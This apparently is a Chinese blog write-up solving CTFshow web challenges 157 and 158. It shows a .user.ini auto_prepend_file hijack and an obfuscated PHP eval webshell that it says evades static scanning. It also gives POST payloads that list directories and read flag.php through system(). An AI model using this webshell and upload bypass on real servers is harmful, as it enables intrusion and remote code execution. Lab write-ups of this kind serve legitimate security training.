当前位置: 首页 > news >正文

ctf show web入门157 158

这是一道文件上传和rec结合的题目
题目给了提示说后端不能单五校验
说明这道题比前面几道题的校验更加严格
后端黑名单/白名单绕过:题目提示“后端校验要严密”,通常限制了直接上传 .php 后缀的 WebShell 文件。
.user.ini 配置文件劫持:
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .ini 文件配置(即 .user.ini)。
当使用 CGI/FastCGI 模式(如 Nginx + PHP-FPM)时,当前目录下若存在 .user.ini,PHP 会自动将其作为当前目录下的额外配置文件来解析。
核心配置项:
auto_prepend_file:在主文件执行之前,自动包含(include)指定文件的内容。
auto_append_file:在主文件执行之后,自动包含指定文件的内容
我们可以利用 .user.ini 引导服务器在访问正常的 php 页面时自动引入我们的木马。

我们上传的是user.ini.png因为前端有校验,用bp抓到包后改为user.ini后再把包发回去

同时user.ini中写入:auto_prepend_file=MM.png
这句话的意思是:只要访问当前目录(以及子目录)下的任何 php 文件,在执行前都会自动把 MM.png 包含进来当做 php 代码执行
方便我们后面上传木马文件

因为后端校验将php ; [] {} 都给限制了所以我们只能使用新木马<? @eval(array_pop($_POST))?>

它能成功绕过检测并代替传统木马,原因在于它巧妙地利用了 PHP 的短标签和数组函数:

<?(短标签):代替了标准的 <?php。在一些特定配置(如 PHP 开启了 short_open_tag)的服务器上,这样写依然能被解析,同时减少了 php 关键字的特征。 array_pop() 函数:这是关键所在。在 PHP 中,$_POST 是一个存储所有常规 POST 提交数据的关联数组。 array_pop(数组) 的功能是:弹出并返回数组中的最后一个元素。 通过使用函数来动态获取参数,代码中完全消失了 ['cmd'] 或 ['pass'] 这样的明确键名(Key)。安全软件在做静态文本扫描时,就很难直接把它定性为木马 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/f7dedbcf5582436083ff2c415d88f3c4.png) 当直接访问 upload/ 目录时,由于没有带任何参数,页面初始只显示了 "nothing here"。但实际上,只要该目录下有默认的 index.php 或其他 php 文件在运行,我们的 MM.png 就已经被自动加载了。 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/d1a0e994e16b4f97aed34abfa9e73924.png) ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/f82597dd293442dd9ad44e9cef99041d.png) 接下来利用 HackBar 插件,通过 POST 方式向 发送指令: POST Body: 1=var_dump(scandir('/var/www/html')); ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/1388f07cc57c497f8cc0de3d1a3e4f78.png) 返回结果:返回了一个包含多个文件目录的数组,其中清晰地暴露了在上一层目录(即 /var/www/html)下有一个名为 flag.php 的文件。 接下来就是想办法读取flag.php文件的内容 我们就可以使用 Linux 查看命令将其读取出来。 POST Body: 1=system('tac ../flag.php'); ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/b14b6c2c42ae4fda9510c165d501806e.png) 为什么命令执行时输入 1=命令 能成功,而直接输入命令却不行? 1. 如果你“直接输入命令”(错误做法) 假设你直接在 POST 框里写:var_dump(scandir('/')); 此时,前端发出的 HTTP 请求体(Body)内容就是纯文本 ```php var_dump(scandir('/')); ``` 当 PHP 解析这段 POST 数据并填充到 $_POST 数组中时,由于这段文本没有 键=值(Key=Value)的结构,PHP 无法将其处理为标准的数组元素。此时 $_POST 数组很可能是空的,或者解析错误。 既然数组是空的,array_pop($_POST) 就拿不到任何数据,eval() 也就没有东西可以执行。 2. 如果你输入 1=var_dump(scandir('/'));(正确做法) 当你采用 键=值 的格式提交时,PHP 会正常解析。 此时,后端的 $_POST 数组在内存中长这样: ```php $_POST = array( "1" => "var_dump(scandir('/'));" ); ``` 紧接着,木马程序开始执行: array_pop($_POST) 开始工作,它不关心键名是 1 还是 cmd,它只看最后一个元素的值。 它把数组中的最后一个值 "var_dump(scandir('/'));" 弹了出来。 这个字符串被送进了 eval() 函数中,等同于执行了: ```php @eval("var_dump(scandir('/'));"); ``` 代码成功在服务器后端触发并回显。 还有更简单的写法,只需要使用蚁剑 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/e888e077cc054b0d917e998e9284eb1a.png) 现在复制当前网站到蚁剑的url地址把https改为http 然后连接密码随便输入只要输入了内容就会被看作是一个键值对的数组就行 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/bb931e32cafa4811b4eb6a60e149b62e.png) 但是查看不了,还是使用前面复杂的方法吧,我也不知道为什么没有了 158的解题步骤跟157一样
http://www.jsqmd.com/news/990148/

相关文章:

  • 安卓手机录音转文字App哪个好?5款主流工具深度实测与购买建议
  • 耐用的UPE加工件与超高分子量聚乙烯加工件行业口碑分析:企业实力与产品应用研究 - 优质品牌商家
  • 鸿蒙5.0 ArkTS应用工程模板:含完整构建配置、多端资源适配与hypium自动化测试支持
  • 5 款 AI 原型生成工具横评:商业计划书这样出图
  • Python一键调用Prometheus API批量导出监控指标(CSV格式)
  • 六店实测:2026广州黄金回收市场深度探访 - 余生黄金回收
  • 【JAVA毕设源码分享】基于springboot楚雄农家乐联盟推介系统的设计与实现(程序+文档+代码讲解+一条龙定制)
  • 前端加密是摆设吗?用CryptoJS和Node.js实现AES对手机号的双端加解密(完整流程)
  • 广州黄金回收实测:六家正规机构测评报告 - 余生黄金回收
  • 2026年 河南上料机源头厂家推荐:深度解析自动上料机/小型粉末上料机/真空颗粒上料机/医药化工与新能源行业专业品牌榜单! - 品牌发掘
  • 给51单片机项目“体检”:手把手教你用自制的RLC测量仪调试自己的电路板
  • 护理考研资料书推荐|教材|电子版|资料已整理
  • 告别坐标转换的烦恼:用Threebox在Mapbox GL JS里轻松添加3D模型(React实战)
  • 数据的加密与解密(05:08)
  • 2026年 东莞仓储管理系统/生产管理系统推荐榜:智慧工厂降本增效与数字化转型口碑优选 - 品牌发掘
  • XR20M1170 SPI转UART驱动源码:寄存器级控制+标准API,适配STM32/GD32等MCU裸机与RTOS
  • 第27篇:实战:产品展示页
  • 计算机毕业设计之基于python的校友录的设计与实现
  • Bun 比 Node.js 快 30 倍?这个 JavaScript 运行时火了
  • 不止于看电视:利用OpenWrt/爱快路由搭建udpxy服务器,实现IPTV直播流全网共享
  • TikTokDownload开源工具:高效解决抖音视频下载与去水印难题
  • 2026年苏州铂金回收行业现状与正规机构服务能力分析 - 优质品牌商家
  • ctf show web入门159
  • 2026年 河南震动筛/直排震动筛/直线震动筛厂家推荐榜:高效筛分与稳定耐用品牌深度解析 - 品牌发掘
  • 广州黄金回收市场实地走访:哪家更靠谱 - 余生黄金回收
  • 别再写两套代码了!一个Vue组件同时支持el-table表格和el-card卡片展示
  • 护理考研资料百度网盘|参考书|资料|资料已整理
  • 用ESP8266 NodeMCU做一个串口指令控制台:软硬串口同时监听控制LED
  • 2026商用中央空调多联机优质厂家推荐榜:约克多联机/约克模块机/约克水冷机组/约克水系统中央空调/优选推荐 - 优质品牌商家
  • 洛雪音乐音源完全指南:三步解锁全网免费无损音乐